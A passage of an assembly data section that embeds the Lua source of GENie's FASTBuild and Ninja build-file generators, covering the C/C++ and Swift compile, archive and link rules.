msvcbin)\n_p(2, \"'TMP=$TMP$',\")\n_p(2, \"'SystemRoot=$SystemRoot$',\")\n_p(2, '}')\n_p('}')\n_p('')\nlocal function projkindsort(a, b)\nlocal projvaluemap = {\nConsoleApp = 3,\nWindowedApp = 3,\nSharedLib = 2,\nStaticLib = 1,\n}\nif projvaluemap[a.kind] == projvaluemap[b.kind] then\nreturn a.name < b.name\nelse\nreturn projvaluemap[a.kind] < projvaluemap[b.kind]\nend\nend\nlocal sortedprojs = {}\nfor prj in premake.solution.eachproject(sln) do\ntable.insert(sortedprojs, prj)\nend\ntable.sort(sortedprojs, projkindsort)\nfor _, prj in ipairs(sortedprojs) do\nlocal fname = premake.project.getbasename(prj.name, '%%.bff')\nfname = path.join(prj.location, fname)\nfname = path.getrelative(sln.location, fname)\n_p('#include \"%s\"', fname)\nend\n_p('')\n_p('.ProjectVariants = {')\nfor _, plat in ipairs(sln.platforms) do\nfor _, cfg in ipairs(sln.configurations) do\n_p(1, \"'%s-%s',\", cfg, plat)\nend\nend\n_p('}')\n_p('')\n_p('ForEach(.Variant in .ProjectVariants)')\n_p('{')\n_p(1, \"Alias('all-$Variant$')\")\n_p(1, '{')\n_p(2, '.Targets = {')\nfor _, prj in ipairs(sortedprojs) do\n_p(3, \"'%s-$Variant$',\", prj.name)\nend\n_p(2, '}')\n_p(1, '}')\n_p('}')\nend\n"
l_.str.60: ; @.str.60
.asciz "premake.ninja = { }\nlocal p = premake\nnewaction\n{\ntrigger = \"ninja\",\nshortname = \"ninja\",\ndescription = \"Generate Ninja build files\",\nmodule = \"ninja\",\nvalid_kinds = {\"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\"},\nvalid_languages = {\"C\", \"C++\", \"Swift\"},\nvalid_tools = {\ncc = { \"gcc\" },\nswift = { \"swift\" },\n},\nonsolution = function(sln)\nio.eol = \"\\r\\n\"\nio.indent = \"\\t\"\nio.escaper(p.ninja.esc)\np.generate(sln, \"Makefile\", p.ninja.generate_solution)\nio.indent = \" \"\np.ninja.generate_ninja_builds(sln)\nend,\nonproject = function(prj)\nio.eol = \"\\r\\n\"\nio.indent = \" \"\nio.escaper(p.ninja.esc)\np.ninja.generate_project(prj)\nend,\noncleansolution = function(sln)\nfor _,name in ipairs(sln.configurations) do\npremake.clean.file(sln, p.ninja.get_solution_name(sln, name))\nend\nend,\noncleanproject = function(prj)\nend,\noncleantarget = function(prj)\nend,\n}\n"
l_.str.61: ; @.str.61
.asciz "local ninja = premake.ninja\nfunction ninja.esc(value)\nif value then\nvalue = string.gsub(value, \"%$\", \"$$\") -- TODO maybe there is better way\nvalue = string.gsub(value, \":\", \"$:\")\nvalue = string.gsub(value, \"\\n\", \"$\\n\")\nvalue = string.gsub(value, \" \", \"$ \")\nend\nreturn value\nend\nfunction ninja.shesc(value)\nif type(value) == \"table\" then\nlocal result = {}\nlocal n = #value\nfor i = 1, n do\ntable.insert(result, ninja.shesc(value[i]))\nend\nreturn result\nend\nif value:find(\" \") then\nreturn \"\\\"\" .. value .. \"\\\"\"\nend\nreturn value\nend\nfunction ninja.list(value)\nif #value > 0 then\nreturn \" \" .. table.concat(value, \" \")\nelse\nreturn \"\"\nend\nend\nfunction ninja.arglist(arg, value)\nif #value > 0 then\nlocal args = {}\nfor _, val in ipairs(value) do\ntable.insert(args, string.format(\"%s %s\", arg, val))\nend\nreturn table.concat(args, \" \")\nelse\nreturn \"\"\nend\nend\nfunction ninja.generate_project(prj)\nif prj.language == \"Swift\" then\nninja.generate_swift(prj)\nelse\nninja.generate_cpp(prj)\nend\nend\nlocal function innerget(self, key)\nreturn rawget(getmetatable(self), key) or self.__inner[key]\nend\nlocal prj_proxy = { __index = innerget }\nlocal cfg_proxy = { __index = innerget }\nfunction new_prj_proxy(prj)\nprj = prj.project or prj\nlocal v = { __inner = prj }\nlocal __configs = {}\nfor key, cfg in pairs(prj.__configs) do\nif key ~= \"\" then\n__configs[key] = ninja.get_proxy(\"cfg\", cfg)\nelse\n__configs[key] = cfg\nend\nend\nv.__configs = __configs\nreturn setmetatable(v, prj_proxy)\nend\nlocal function rebasekeys(t, keys, old, new)\nfor _,key in ipairs(keys) do\nt[key] = path.rebase(t[key], old, new)\nend\nreturn t\nend\nlocal function rebasearray(t, old, new)\nlocal res = { }\nfor _,f in ipairs(t) do\ntable.insert(res, path.rebase(f, old, new))\nend\nreturn res\nend\nfunction new_cfg_proxy(cfg)\nlocal keys = { \"directory\", \"fullpath\", \"bundlepath\" }\nlocal old = cfg.location\nlocal new = path.join(cfg.location, cfg.shortname)\nlocal v = {\n__inner = cfg,\nlocation = new,\nobjectsdir = path.rebase(cfg.objectsdir, old, new),\nbuildtarget = rebasekeys(table.deepcopy(cfg.buildtarget), keys, old, new),\nlinktarget = rebasekeys(table.deepcopy(cfg.linktarget), keys, old, new),\n}\nv.files = rebasearray(cfg.files, old, new)\nv.includedirs = rebasearray(cfg.includedirs, old, new)\nv.libdirs = rebasearray(cfg.libdirs, old, new)\nv.userincludedirs = rebasearray(cfg.userincludedirs, old, new)\nv.systemincludedirs = rebasearray(cfg.systemincludedirs, old, new)\nv.swiftmodulemaps = rebasearray(cfg.swiftmodulemaps, old, new)\nreturn setmetatable(v, cfg_proxy)\nend\nfunction cfg_proxy:getprojectfilename(fullpath)\nlocal name = self.project.name .. \".ninja\"\nif fullpath ~= nil then\nreturn path.join(self.location, name)\nend\nreturn name\nend\nfunction cfg_proxy:getoutputfilename()\nreturn path.join(self.buildtarget.directory, self.buildtarget.name)\nend\nlocal proxy_cache = { \nprj = { new = new_prj_proxy }, \ncfg = { new = new_cfg_proxy },\n}\nfunction get_proxy(cache, obj)\nif not cache[obj] then\ncache[obj] = cache.new(obj)\nend\nreturn cache[obj]\nend\nfunction ninja.get_proxy(typ, obj)\nif not proxy_cache[typ] then\nerror(\"invalid proxy type\")\nend\nreturn get_proxy(proxy_cache[typ], obj)\nend\n"
l_.str.62: ; @.str.62
.asciz "local ninja = premake.ninja\nlocal p = premake\nlocal solution = p.solution\nfunction ninja.generate_solution(sln)\nlocal cc = premake[_OPTIONS.cc]\nlocal platforms = premake.filterplatforms(sln, cc.platforms, \"Native\")\n_p('# %s solution makefile autogenerated by GENie', premake.action.current().shortname)\n_p('# Type \"make help\" for usage help')\n_p('')\n_p('NINJA=ninja')\n_p('ifndef config')\n_p(' config=%s', _MAKE.esc(premake.getconfigname(sln.configurations[1], platforms[1], true)))\n_p('endif')\n_p('')\nlocal projects = table.extract(sln.projects, \"name\")\ntable.sort(projects)\n_p('')\n_p('.PHONY: all clean help $(PROJECTS)')\n_p('')\n_p('all:')\nif (not sln.messageskip) or (not table.contains(sln.messageskip, \"SkipBuildingMessage\")) then\n_p(1, '@echo \"==== Building all ($(config)) ====\"')\nend\n_p(1, '@${NINJA} -C ${config} all')\n_p('')\nfor _, prj in ipairs(sln.projects) do\nlocal prjx = ninja.get_proxy(\"prj\", prj)\n_p('%s:', _MAKE.esc(prj.name))\nif (not sln.messageskip) or (not table.contains(sln.messageskip, \"SkipBuildingMessage\")) then\n_p(1, '@echo \"==== Building %s ($(config)) ====\"', prj.name)\nend\n_p(1, '@${NINJA} -C ${config} %s', prj.name)\n_p('')\nend\n_p('clean:')\n_p(1, '@${NINJA} -C ${config} -t clean')\n_p('')\n_p('help:')\n_p(1,'@echo \"Usage: make [config=name] [target]\"')\n_p(1,'@echo \"\"')\n_p(1,'@echo \"CONFIGURATIONS:\"')\nlocal cfgpairs = { }\nfor _, platform in ipairs(platforms) do\nfor _, cfgname in ipairs(sln.configurations) do\n_p(1,'@echo \" %s\"', premake.getconfigname(cfgname, platform, true))\nend\nend\n_p(1,'@echo \"\"')\n_p(1,'@echo \"TARGETS:\"')\n_p(1,'@echo \" all (default)\"')\n_p(1,'@echo \" clean\"')\nfor _, prj in ipairs(sln.projects) do\n_p(1,'@echo \" %s\"', prj.name)\nend\n_p(1,'@echo \"\"')\n_p(1,'@echo \"For more information, see https://github.com/bkaradzic/genie\"')\nend\nlocal generate\nlocal function getconfigs(sln, name, plat)\nlocal cfgs = {}\nfor prj in solution.eachproject(sln) do\nprj = ninja.get_proxy(\"prj\", prj)\nfor cfg in p.eachconfig(prj, plat) do\nif cfg.name == name then\ntable.insert(cfgs, cfg)\nend\nend\nend\nreturn cfgs\nend\nfunction ninja.generate_ninja_builds(sln)\nlocal cc = premake[_OPTIONS.cc]\nsln.getlocation = function(cfg, plat)\nreturn path.join(sln.location, premake.getconfigname(cfg, plat, true))\nend\nlocal platforms = premake.filterplatforms(sln, cc.platforms, \"Native\")\nfor _,plat in ipairs(platforms) do\nfor _,name in ipairs(sln.configurations) do\np.generate(sln, ninja.get_solution_name(sln, name, plat), function(sln)\ngenerate(getconfigs(sln, name, plat))\nend)\nend\nend\nend\nfunction ninja.get_solution_name(sln, cfg, plat)\nreturn path.join(sln.getlocation(cfg, plat), \"build.ninja\")\nend\nfunction generate(prjcfgs)\nlocal cfgs = {}\nlocal cfg_start = nil\nlocal cfg_first = nil\nlocal cfg_first_lib = nil\n_p(\"# solution build file\")\n_p(\"# generated with GENie ninja\")\n_p(\"\")\n_p(\"# build projects\")\nfor _,cfg in ipairs(prjcfgs) do\nlocal key = cfg.project.name\nif not cfgs[key] then cfgs[key] = \"\" end\ncfgs[key] = cfg:getoutputfilename() .. \" \"\nif not cfgs[\"all\"] then cfgs[\"all\"] = \"\" end\ncfgs[\"all\"] = cfgs[\"all\"] .. cfg:getoutputfilename() .. \" \"\nif (cfg_start == nil) and (cfg.solution.startproject == key) then\ncfg_start = key\nend\nif (cfg_first == nil) and (cfg.kind == \"ConsoleApp\" or cfg.kind == \"WindowedApp\") then\ncfg_first = key\nend\nif (cfg_first_lib == nil) and (cfg.kind == \"StaticLib\" or cfg.kind == \"SharedLib\") then\ncfg_first_lib = key\nend\n_p(\"subninja \" .. cfg:getprojectfilename())\nend\n_p(\"\")\n_p(\"# targets\")\nfor cfg, outputs in iter.sortByKeys(cfgs) do\n_p(\"build \" .. cfg .. \": phony \" .. outputs)\nend\n_p(\"\")\n_p(\"# default target\")\n_p(\"default \" .. (cfg_start or cfg_first or cfg_first_lib))\n_p(\"\")\nend\n"
l_.str.63: ; @.str.63
.asciz "premake.ninja.cpp = { }\nlocal ninja = premake.ninja\nlocal cpp = premake.ninja.cpp\nlocal p = premake\nlocal function wrap_ninja_cmd(c)\nif os.is(\"windows\") then\nreturn 'cmd /c \"' .. c .. '\"'\nelse\nreturn c\nend\nend\nfunction ninja.generate_cpp(prj)\nlocal pxy = ninja.get_proxy(\"prj\", prj)\nlocal tool = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, tool.platforms, \"Native\")\nfor _, platform in ipairs(platforms) do\nfor cfg in p.eachconfig(pxy, platform) do\np.generate(cfg, cfg:getprojectfilename(), function() cpp.generate_config(prj, cfg) end)\nend\nend\nend\nfunction cpp.generate_config(prj, cfg)\nlocal tool = premake.gettool(prj)\n_p('# Ninja build project file autogenerated by GENie')\n_p('# https://github.com/bkaradzic/GENie')\n_p(\"\")\n_p(\"ninja_required_version = 1.7\")\n_p(\"\")\nlocal flags = {\ndefines = ninja.list(tool.getdefines(cfg.defines)),\nincludes = ninja.list(table.join(tool.getincludedirs(cfg.includedirs), tool.getquoteincludedirs(cfg.userincludedirs), tool.getsystemincludedirs(cfg.systemincludedirs))),\ncppflags = ninja.list(tool.getcppflags(cfg)),\nasmflags = ninja.list(table.join(tool.getcflags(cfg), cfg.buildoptions, cfg.buildoptions_asm)),\ncflags = ninja.list(table.join(tool.getcflags(cfg), cfg.buildoptions, cfg.buildoptions_c)),\ncxxflags = ninja.list(table.join(tool.getcflags(cfg), tool.getcxxflags(cfg), cfg.buildoptions, cfg.buildoptions_cpp)),\nobjcflags = ninja.list(table.join(tool.getcflags(cfg), tool.getcxxflags(cfg), cfg.buildoptions, cfg.buildoptions_objc)),\n}\n_p(\"\")\n_p(\"# core rules for \" .. cfg.name)\n_p(\"rule cc\")\n_p(\" command = \" .. wrap_ninja_cmd(tool.cc .. \" $defines $includes $flags -MMD -MF $out.d -c -o $out $in\"))\n_p(\" description = cc $out\")\n_p(\" depfile = $out.d\")\n_p(\" deps = gcc\")\n_p(\"\")\n_p(\"rule cxx\")\n_p(\" command = \" .. wrap_ninja_cmd(tool.cxx .. \" $defines $includes $flags -MMD -MF $out.d -c -o $out $in\"))\n_p(\" description = cxx $out\")\n_p(\" depfile = $out.d\")\n_p(\" deps = gcc\")\n_p(\"\")\n_p(\"rule ar\")\n_p(\" command = \" .. wrap_ninja_cmd(tool.ar .. \" $flags $out @$out.rsp \" .. (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\")))\n_p(\" description = ar $out\")\n_p(\" rspfile = $out.rsp\")\n_p(\" rspfile_content = $in $libs\")\n_p(\"\")\nlocal link = iif(cfg.language == \"C\", tool.cc, tool.cxx)\n_p(\"rule link\")\nlocal startgroup = ''\nlocal endgroup = ''\nif (cfg.flags.LinkSupportCircularDependencies) then\nstartgroup = '-Wl,--start-group'\nendgroup = '-Wl,--end-group'\nend\n_p(\" command = \" .. wrap_ninja_cmd(\"$pre_link \" .. link .. \" -o $out @$out.rsp $all_ldflags $post_build\"))\n_p(\" description = link $out\")\n_p(\" rspfile = $out.rsp\")\n_p(\" rspfile_content = $all_outputfiles $walibs\" .. string.format(\"%s $libs %s\", startgroup, endgroup))\n_p(\"\")\n_p(\"rule exec\")\n_p(\" command = \" .. wrap_ninja_cmd(\"$command\"))\n_p(\" description = Run $type commands\")\n_p(\"\")\nif #cfg.prebuildcommands > 0 then\n_p(\"build __prebuildcommands_\" .. premake.esc(prj.name) .. \": exec\")\n_p(1, \"command = \" .. wrap_ninja_cmd(\"echo Running pre-build commands && \" .. table.implode(cfg.prebuildcommands, \"\", \"\", \" && \")))\n_p(1, \"type = pre-build\")\n_p(\"\")\nend\ncfg.pchheader_full = cfg.pchheader\nfor _, incdir in ipairs(cfg.includedirs) do\nlocal abspath = path.getabsolute(path.join(cfg.project.location, cfg.shortname, incdir))\nlocal testname = path.join(abspath, cfg.pchheader_full)\nif os.isfile(testname) then\ncfg.pchheader_full = path.getrelative(cfg.location, testname)\nbreak\nend\nend\ncpp.custombuildtask(prj, cfg)\ncpp.dependencyRules(prj, cfg)\ncpp.file_rules(prj, cfg, flags)\nlocal objfiles = {}\nfor _, file in ipairs(cfg.files) do\nif path.issourcefile(file) then\ntable.insert(objfiles, cpp.objectname(cfg, file))\nend\nend\n_p('')\ncpp.linker(prj, cfg, objfiles, tool, flags)\n_p(\"\")\nend\nfunction cpp.custombuildtask(prj, cfg)\nlocal cmd_index = 1\nlocal seen_commands = {}\nlocal command_by_name = {}\nlocal command_files = {}\nlocal prebuildsuffix = #cfg.prebuildcommands > 0 and \"||__prebuildcommands_\" .. premake.esc(prj.name) or \"\"\nfor _, custombuildtask in ipairs(prj.custombuildtask or {}) do\nfor _, buildtask in ipairs(custombuildtask or {}) do\nfor _, cmd in ipairs(buildtask[4] or {}) do\nlocal num = 1\nfor _, depdata in ipairs(buildtask[3] or {}) do\ncmd = string.gsub(cmd,\"%$%(\" .. num ..\"%)\", string.format(\"%s \", path.getrelative(cfg.location, depdata)))\nnum = num + 1\nend\ncmd = string.gsub(cmd, '%$%(<%)', '$in')\ncmd = string.gsub(cmd, '%$%(@%)', '$out')\nlocal cmd_name -- shortened command name\nif seen_commands[cmd] == nil then\nlocal _, _, name = string.find(cmd, '([.%w]+)%s')\nname = 'cmd' .. cmd_index .. '_' .. string.gsub(name, '[^%w]', '_')\nseen_commands[cmd] = {\nname = name,\nindex = cmd_index,\n}\ncmd_index = cmd_index + 1\ncmd_name = name\nelse\ncmd_name = seen_commands[cmd].name\nend\nlocal index = seen_commands[cmd].index\nif command_files[index] == nil then\ncommand_files[index] = {}\nend\nlocal cmd_set = command_files[index]\ntable.insert(cmd_set, {\nbuildtask[1],\nbuildtask[2],\nbuildtask[3],\nseen_commands[cmd].name,\n})\ncommand_files[index] = cmd_set\ncommand_by_name[cmd_name] = cmd\nend\nend\nend\n_p(\"# custom build rules\")\nfor command, details in pairs(seen_commands) do\n_p(\"rule \" .. details.name)\n_p(1, \"command = \" .. wrap_ninja_cmd(command))\nend\nfor cmd_index, cmdsets in ipairs(command_files) do\nfor _, cmdset in ipairs(cmdsets) do\nlocal file_in = path.getrelative(cfg.location, cmdset[1])\nlocal file_out = path.getrelative(cfg.location, cmdset[2])\nlocal deps = ''\nfor i, dep in ipairs(cmdset[3]) do\ndeps = deps .. path.getrelative(cfg.location, dep) .. ' '\nend\n_p(\"build \" .. file_out .. ': ' .. cmdset[4] .. ' ' .. file_in .. ' | ' .. deps .. prebuildsuffix)\n_p(\"\")\nend\nend\nend\nfunction cpp.dependencyRules(prj, cfg)\nlocal extra_deps = {}\nlocal order_deps = {}\nlocal extra_flags = {}\nfor _, dependency in ipairs(prj.dependency or {}) do\nfor _, dep in ipairs(dependency or {}) do\nlocal objfilename = cpp.objectname(cfg, path.getrelative(prj.location, dep[1]))\nlocal dependency = path.getrelative(cfg.location, dep[2])\nif extra_deps[objfilename] == nil then\nextra_deps[objfilename] = {}\nend\ntable.insert(extra_deps[objfilename], dependency)\nend\nend\nlocal pchfilename = cfg.pchheader_full and cpp.pchname(cfg, cfg.pchheader_full) or ''\nfor _, file in ipairs(cfg.files) do\nlocal objfilename = file == cfg.pchheader and cpp.pchname(cfg, file) or cpp.objectname(cfg, file)\nif path.issourcefile(file) or file == cfg.pchheader then\nif #cfg.prebuildcommands > 0 then\nif order_deps[objfilename] == nil then\norder_deps[objfilename] = {}\nend\ntable.insert(order_deps[objfilename], '__prebuildcommands_' .. premake.esc(prj.name))\nend\nend\nif path.issourcefile(file) then\nif cfg.pchheader_full and not cfg.flags.NoPCH then\nlocal nopch = table.icontains(prj.nopch, file)\nif not nopch then\nlocal suffix = path.isobjcfile(file) and '_objc' or ''\nif extra_deps[objfilename] == nil then\nextra_deps[objfilename] = {}\nend\ntable.insert(extra_deps[objfilename], pchfilename .. suffix .. \".gch\")\nif extra_flags[objfilename] == nil then\nextra_flags[objfilename] = {}\nend\ntable.insert(extra_flags[objfilename], '-include ' .. pchfilename .. suffix)\nend\nend\nend\nend\ncfg.extra_deps = extra_deps\ncfg.order_deps = order_deps\ncfg.extra_flags = extra_flags\nend\nfunction cpp.objectname(cfg, file)\nreturn path.join(cfg.objectsdir, path.trimdots(path.removeext(file)) .. \".o\")\nend\nfunction cpp.pchname(cfg, file)\nreturn path.join(cfg.objectsdir, path.trimdots(file))\nend\nfunction cpp.file_rules(prj,cfg, flags)\n_p(\"# build files\")\nfor _, file in ipairs(cfg.files) do\n_p(\"# FILE: \" .. file)\nif cfg.pchheader_full == file then\nlocal pchfilename = cpp.pchname(cfg, file)\nlocal extra_deps = #cfg.extra_deps and '| ' .. table.concat(cfg.extra_deps[pchfilename] or {}, ' ') or ''\nlocal order_deps = #cfg.order_deps and '|| ' .. table.concat(cfg.order_deps[pchfilename] or {}, ' ') or ''\nlocal extra_flags = #cfg.extra_flags and ' ' .. table.concat(cfg.extra_flags[pchfilename] or {}, ' ') or ''\n_p(\"build \" .. pchfilename .. \".gch : cxx \" .. file .. extra_deps .. order_deps)\n_p(1, \"flags = \" .. flags['cxxflags'] .. extra_flags .. iif(prj.language == \"C\", \"-x c-header\", \"-x c++-header\"))\n_p(1, \"includes = \" .. flags.includes)\n_p(1, \"defines = \" .. flags.defines)\n_p(\"build \" .. pchfilename .. \"_objc.gch : cxx \" .. file .. extra_deps .. order_deps)\n_p(1, \"flags = \" .. flags['objcflags'] .. extra_flags .. iif(prj.language == \"C\", \"-x objective-c-header\", \"-x objective-c++-header\"))\n_p(1, \"includes = \" .. flags.includes)\n_p(1, \"defines = \" .. flags.defines)\nelseif path.issourcefile(file) then\nlocal objfilename = cpp.objectname(cfg, file)\nlocal extra_deps = #cfg.extra_deps and '| ' .. table.concat(cfg.extra_deps[objfilename] or {}, ' ') or ''\nlocal order_deps = #cfg.order_deps and '|| ' .. table.concat(cfg.order_deps[objfilename] or {}, ' ') or ''\nlocal extra_flags = #cfg.extra_flags and ' ' .. table.concat(cfg.extra_flags[objfilename] or {}, ' ') or ''\nlocal cflags = \"cflags\"\nif path.isobjcfile(file) then\n_p(\"build \" .. objfilename .. \": cxx \" .. file .. extra_deps .. order_deps)\ncflags = \"objcflags\"\nelseif path.isasmfile(file) then\n_p(\"build \" .. objfilename .. \": cc \" .. file .. extra_deps .. order_deps)\ncflags = \"asmflags\"\nelseif path.iscfile(file) and not cfg.options.ForceCPP then\n_p(\"build \" .. objfilename .. \": cc \" .. file .. extra_deps .. order_deps)\nelse\n_p(\"build \" .. objfilename .. \": cxx \" .. file .. extra_deps .. order_deps)\ncflags = \"cxxflags\"\nend\n_p(1, \"flags = \" .. flags[cflags] .. extra_flags)\n_p(1, \"includes = \" .. flags.includes)\n_p(1, \"defines = \" .. flags.defines)\nelseif path.isresourcefile(file) then\nend\nend\n_p(\"\")\nend\nfunction cpp.linker(prj, cfg, objfiles, tool)\nlocal all_ldflags = ninja.list(table.join(tool.getlibdirflags(cfg), tool.getldflags(cfg), cfg.linkoptions))\nlocal prebuildsuffix = #cfg.prebuildcommands > 0 and \"||__prebuildcommands\" or \"\"\nlocal libs = {}\nlocal walibs = {}\nlocal lddeps = {}\nif #cfg.wholearchive > 0 then\nfor _, linkcfg in ipairs(premake.getlinks(cfg, \"siblings\", \"object\")) do\nlocal linkpath = path.rebase(linkcfg.linktarget.fullpath, linkcfg.location, cfg.location)\ntable.insert(lddeps, linkpath)\nif table.icontains(cfg.wholearchive, linkcfg.project.name) then\ntable.insert(walibs, table.concat(tool.wholearchive(linkpath), ' '))\nelse\ntable.insert(libs, linkpath)\nend\nend\nelse\nlddeps = premake.getlinks(cfg, \"siblings\", \"fullpath\")\nlibs = lddeps\nend\nlddeps = ninja.list(lddeps)\nlibs = ninja.list(libs) .. \" \" .. ninja.list(tool.getlinkflags(cfg))\nwalibs = ninja.list(walibs)\nlocal function writevars()\n_p(1, \"all_ldflags = \" .. all_ldflags)\n_p(1, \"libs = \" .. libs)\n_p(1, \"walibs = \" .. walibs)\n_p(1, \"all_outputfiles = \" .. table.concat(objfiles, \" \"))\nif #cfg.prelinkcommands > 0 then\n_p(1, 'pre_link = echo Running pre-link commands && ' .. table.implode(cfg.prelinkcommands, \"\", \"\", \" && \") .. \" && \")\nend\nif #cfg.postbuildcommands > 0 then\n_p(1, 'post_build = && echo Running post-build commands && ' .. table.implode(cfg.postbuildcommands, \"\", \"\", \" && \"))\nend\nend\nif cfg.kind == \"StaticLib\" then\nlocal ar_flags = ninja.list(tool.getarchiveflags(cfg, cfg, false))\n_p(\"# link static lib\")\n_p(\"build \" .. cfg:getoutputfilename() .. \": ar \" .. table.concat(objfiles, \" \") .. \" | \" .. lddeps .. prebuildsuffix)\n_p(1, \"flags = \" .. ninja.list(tool.getarchiveflags(cfg, cfg, false)))\n_p(1, \"all_outputfiles = \" .. table.concat(objfiles, \" \"))\nelseif cfg.kind == \"SharedLib\" or cfg.kind == \"Bundle\" then\nlocal output = cfg:getoutputfilename()\n_p(\"# link shared lib\")\n_p(\"build \" .. output .. \": link \" .. table.concat(objfiles, \" \") .. \" | \" .. lddeps .. prebuildsuffix)\nwritevars()\nelseif (cfg.kind == \"ConsoleApp\") or (cfg.kind == \"WindowedApp\") then\n_p(\"# link executable\")\n_p(\"build \" .. cfg:getoutputfilename() .. \": link \" .. table.concat(objfiles, \" \") .. \" | \" .. lddeps .. prebuildsuffix)\nwritevars()\nelse\np.error(\"ninja action doesn't support this kind of target \" .. cfg.kind)\nend\nend\n"
l_.str.64: ; @.str.64
.asciz "local ninja = premake.ninja\nlocal swift = {}\nlocal p = premake\nfunction ninja.generate_swift(prj)\nlocal pxy = ninja.get_proxy(\"prj\", prj)\nlocal tool = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, tool.platforms, \"Native\")\nfor _, platform in ipairs(platforms) do\nfor cfg in p.eachconfig(pxy, platform) do\np.generate(cfg, cfg:getprojectfilename(), function() swift.generate_config(prj, cfg) end)\nend\nend\nend\nfunction swift.generate_config(prj, cfg)\nlocal tool = premake.gettool(prj)\nlocal flags = {\nswiftcflags = ninja.list(tool.getswiftcflags(cfg)),\nswiftlinkflags = ninja.list(tool.getswiftlinkflags(cfg)),\n}\n_p(\"# Swift project build file\")\n_p(\"# generated with GENie ninja\")\n_p(\"\")\n_p(\"ninja_required_version = 1.7\")\n_p(\"\")\n_p(\"out_dir = %s\", cfg.buildtarget.directory)\n_p(\"obj_dir = %s\", path.join(cfg.objectsdir, prj.name .. \".build\"))\n_p(\"target = $out_dir/%s\", cfg.buildtarget.name)\n_p(\"module_name = %s\", prj.name)\n_p(\"module_maps = %s\", ninja.list(tool.getmodulemaps(cfg)))\n_p(\"swiftc_flags = %s\", flags.swiftcflags)\n_p(\"swiftlink_flags = %s\", flags.swiftlinkflags)\n_p(\"ar_flags = %s\", ninja.list(tool.getarchiveflags(cfg, cfg, false)))\n_p(\"ld_flags = %s\", ninja.list(tool.getldflags(cfg)))\nif cfg.flags.Symbols then\n_p(\"symbols = $target.dSYM\")\nsymbols_command = string.format(\"&& %s $target -o $symbols\", tool.dsymutil)\nelse\n_p(\"symbols = \")\nsymbols_command = \"\"\nend\nlocal sdk = tool.get_sdk_path(cfg)\nif sdk then\n_p(\"toolchain_path = %s\", tool.get_toolchain_path(cfg))\n_p(\"sdk_path = %s\", sdk)\n_p(\"platform_path = %s\", tool.get_sdk_platform_path(cfg))\n_p(\"sdk = -sdk $sdk_path\")\nelse\n_p(\"sdk_path =\")\n_p(\"sdk =\")\nend\n_p(\"\")\n_p(\"# core rules for %s\", cfg.name)\n_p(\"rule swiftc\")\n_p(1, \"command = %s -frontend -c $in -enable-objc-interop $sdk -I $out_dir $swiftc_flags -module-cache-path $out_dir/ModuleCache -D SWIFT_PACKAGE $module_maps -emit-module-doc-path $out_dir/$module_name.swiftdoc -module-name $module_name -emit-module-path $out_dir/$module_name.swiftmodule -num-threads 8 $obj_files\", tool.swift)\n_p(1, \"description = compile $out\")\n_p(\"\")\n_p(\"rule swiftlink\")\n_p(1, \"command = %s $sdk -L $out_dir -o $out $swiftlink_flags $ld_flags $in %s\", tool.swiftc, symbols_command)\n_p(1, \"description = create executable\")\n_p(\"\")\n_p(\"rule ar\")\n_p(1, \"command = %s cr $ar_flags $out $in %s\", tool.ar, (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\"))\n_p(1, \"description = ar $out\")\n_p(\"\")\nlocal objfiles = {}\nfor _, file in ipairs(cfg.files) do\nif path.isswiftfile(file) then\ntable.insert(objfiles, swift.objectname(cfg, file))\nend\nend\nswift.file_rules(cfg, objfiles)\n_p(\"\")\nswift.linker(prj, cfg, objfiles, tool)\nend\nfunction swift.objectname(cfg, file)\nreturn path.join(\"$obj_dir\", path.getname(file)..\".o\")\nend\nfunction swift.file_rules(cfg, objfiles)\n_p(\"build %s: swiftc %s\", ninja.list(objfiles), ninja.list(cfg.files))\n_p(1, \"obj_files = %s\", ninja.arglist(\"-o\", objfiles))\nend\nfunction swift.linker(prj, cfg, objfiles, tool)\nlocal lddeps = ninja.list(premake.getlinks(cfg, \"siblings\", \"fullpath\")) \nif cfg.kind == \"StaticLib\" then\n_p(\"build $target: ar %s | %s \", ninja.list(objfiles), lddeps)\nelse\nlocal lddeps = ninja.list(premake.getlinks(cfg, \"siblings\", \"fullpath\"))\n_p(\"build $target: swiftlink %s | %s\", ninja.list(objfiles), lddeps)\nend\nend\n"
l_.str.65: ; @.str.65
.asciz "local ninja = premake.ninja\nlocal swift = { }\nlocal p = premake\nfunction ninja.generate_swift_incremental(prj)\nlocal pxy = ninja.get_proxy(\"prj\", prj)\nlocal tool = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, tool.platforms, \"Native\")\nfor _, platform in ipairs(platforms) do\nfor cfg in p.eachconfig(pxy, platform) do\np.generate(cfg, cfg:getprojectfilename(), function() swift.generate_config(prj, cfg) end)\nend\nend\nend\nfunction swift.generate_config(prj, cfg)\nlocal tool = premake.gettool(prj)\nlocal flags = {\nswiftcflags = ninja.list(table.join(tool.getswiftcflags(cfg), cfg.buildoptions_swiftc)),\n}\n_p(\"# Swift project build file\")\n_p(\"# generated with GENie ninja\")\n_p(\"\")\n_p(\"ninja_required_version = 1.7\")\n_p(\"\")\n_p(\"out_dir = %s\", cfg.buildtarget.directory)\n_p(\"obj_dir = %s\", path.join(cfg.objectsdir, prj.name .. \".build\"))\n_p(\"module_name = %s\", prj.name)\n_p(\"module_maps = %s\", ninja.list(tool.getmodulemaps(cfg)))\n_p(\"swiftc_flags = %s\", flags.swiftcflags)\n_p(\"swiftlink_flags = %s\", flags.swiftlinkflags)\n_p(\"ar_flags = %s\", ninja.list(tool.getarchiveflags(cfg, cfg, false)))\nlocal sdk = tool.get_sdk_path(cfg)\nif sdk then\n_p(\"toolchain_path = %s\", tool.get_toolchain_path(cfg))\n_p(\"sdk_path = %s\", sdk)\n_p(\"platform_path = %s\", tool.get_sdk_platform_path(cfg))\n_p(\"sdk = -sdk $sdk_path\")\n_p(\"ld_baseflags = -force_load $toolchain_path/usr/lib/arc/libarclite_macosx.a -L $out_dir -F $platform_path/Developer/Library/Frameworks -syslibroot $sdk_path -lobjc -lSystem -L $toolchain_path/usr/lib/swift/macosx -rpath $toolchain_path/usr/lib/swift/macosx -macosx_version_min 10.10.0 -no_objc_category_merging\")\nelse\n_p(\"sdk_path =\")\n_p(\"sdk 